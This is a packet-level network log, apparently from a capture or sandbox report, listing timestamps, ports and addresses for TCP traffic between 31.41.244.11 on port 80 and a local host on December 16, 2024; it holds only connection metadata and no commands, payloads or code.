Dec 16, 2024 21:03:00.580868006 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.580920935 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.581108093 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.581161022 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.581775904 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.581824064 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.581904888 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.581989050 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.582621098 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.582681894 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.582717896 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.582765102 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.583513975 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.583587885 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.583615065 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.583647966 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.584444046 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.584500074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.584551096 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.584604025 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.585367918 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.585422039 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.585493088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.585551023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.586231947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.586287975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.586303949 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.586360931 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.587073088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.587121964 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.587145090 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.587191105 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.587949038 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.588005066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.588056087 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.588100910 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.588830948 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.588891983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.588934898 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.588992119 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.589701891 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.589751005 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.589968920 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.590023994 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.590555906 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.590609074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.590694904 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.590756893 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.591456890 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.591521025 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.591603994 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.591655970 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.592338085 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.592411995 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.592418909 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.592461109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.593220949 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.593270063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.593368053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.593415022 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.594109058 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.594163895 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.594270945 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.594321966 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.595000982 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.595050097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.595103025 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.595149994 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.595870018 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.595927954 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.596039057 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.596086025 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.596741915 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.596796036 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.596971035 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.597027063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.597641945 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.597691059 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.597778082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.597826004 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.598558903 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.598613977 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.598659992 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.598705053 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.599426031 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.599483967 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.599529028 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.599575043 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.600286961 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.600327015 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.600348949 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.600374937 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.601146936 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.601195097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.601259947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.601305962 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.602051973 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.602107048 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.602191925 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.602245092 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.602926016 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.602988005 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.603070021 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.603121996 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.603913069 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.603961945 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.604007006 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.604051113 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.604680061 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.604727983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.604803085 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.604865074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.605564117 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.605611086 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.605663061 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.605711937 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.606456041 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.606504917 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.606553078 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.606600046 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.607368946 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.607419968 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.607522964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.607579947 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.608194113 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.608253002 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.744843960 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.745038033 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.745044947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.745104074 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.745116949 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.745158911 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.745199919 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.745249987 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.745963097 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.746017933 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.746138096 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.746187925 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.746810913 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.746861935 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.746905088 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.746953011 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.747715950 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.747766018 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.747776985 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.747833967 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.748578072 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.748625994 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.748650074 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.748712063 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.749463081 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.749527931 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.749670029 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.749726057 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.750333071 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.750389099 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.750489950 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.750540972 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.751236916 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.751291990 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.751343012 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.751403093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.752230883 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.752288103 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.752338886 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.752382994 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.753065109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.753114939 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.753142118 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.753185034 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.753874063 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.753928900 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.754003048 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.754051924 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.754751921 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.754806042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.754899979 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.754949093 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.755635023 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.755687952 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.755759001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.755805016 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.756505966 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.756560087 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.756644964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.756699085 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.757397890 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.757447958 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.757497072 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.757541895 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.758292913 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.758346081 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.758431911 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.758482933 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.759150028 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.759200096 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.759211063 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.759253979 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.760051966 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.760106087 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.760154009 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.760195971 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.760936975 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.760987997 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.761056900 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.761104107 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.761796951 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.761846066 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.761897087 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.761944056 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.762742996 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.762809038 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.762855053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.762900114 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.763542891 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.763592958 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.763598919 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.763643980 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.764432907 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.764482975 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.764530897 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.764573097 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.765331984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.765386105 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.765403032 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.765451908 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.766272068 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.766321898 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.766446114 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.766493082 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.767110109 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.767158985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.767225027 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.767271042 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.768002987 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.768060923 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.768138885 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.768186092 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.768867016 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.768913031 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.768990993 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.769038916 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.769767046 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.769817114 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.769861937 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.769913912 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.770632029 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.770695925 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.770739079 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.770781040 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.771502018 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.771555901 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.771593094 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.771640062 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.772381067 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.772433043 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.772459984 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.772506952 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.773358107 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.773407936 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.773447990 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.773494005 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.774235010 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.774288893 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.774333954 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.774384022 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.775094986 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.775141001 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.775146961 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.775197983 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.775902033 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.775954008 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.775996923 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.776041985 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.776794910 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.776846886 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.777106047 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.777152061 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.777678967 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.777728081 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.777774096 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.777820110 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.778590918 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.778640032 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.778661013 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.778704882 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.779449940 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.779500008 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.779603004 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.779656887 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.780363083 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.780441046 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.780484915 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.780525923 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.781208992 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.781256914 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.781317949 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.781379938 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.782120943 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.782176018 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.782190084 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.782234907 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.782979012 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.783029079 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.783056974 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.783104897 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.783850908 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.783900023 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.783941031 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.783983946 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.784722090 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.784770012 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.784827948 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.784873009 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.785610914 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.785665035 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.785717964 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.785763025 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.786483049 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.786546946 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.786591053 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.786634922 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.787381887 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.787431955 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.787513018 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.787564993 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.788249969 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.788304090 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.788345098 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.788392067 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.789145947 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.789199114 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.789216042 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.789266109 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.790018082 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.790067911 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.790153980 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.790224075 CET	49882	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:03:00.790869951 CET	80	49882	31.41.244.11	192.168.2.4
Dec 16, 2024 21:03:00.790927887 CET	49882	80	192.168.2.4	31.41.244.11
